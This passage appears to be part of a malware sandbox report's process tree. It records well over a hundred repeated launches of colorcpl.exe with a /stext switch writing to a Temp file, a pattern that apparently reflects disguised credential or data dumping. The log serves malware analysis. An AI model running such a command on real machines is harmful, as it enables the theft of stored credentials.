  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3936
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3984
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2788
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4772
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4844
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4936
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3228
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4300
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4596
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1888
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3956
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3076
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4292
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5012
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4576
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1900
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3624
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2744
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4676
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4688
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3500
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:840
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1036
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2160
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3608
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3600
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4232
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4728
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1152
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3060
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4696
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:884
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3388
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2684
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5008
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1304
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4404
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3648
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:644
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3056
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:732
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4792
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2824
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1260
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4080
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3348
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3872
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2680
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3836
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4868
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1312
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3120
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2996
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3296
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:780
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:812
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4528
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1032
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3420
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1684
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4672
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2752
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5040
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2608
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4860
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3924
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2720
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3632
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2460
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3224
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3516
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3148
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2388
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2164
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4308
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3808
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3604
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4996
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4752
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2400
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2052
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4952
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5124
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5132
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5140
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5148
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5156
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5164
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5196
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5204
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5212
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5220
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5228
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5236
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5244
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5252
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5260
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5268
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5276
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5284
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5300
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5308
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5316
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5324
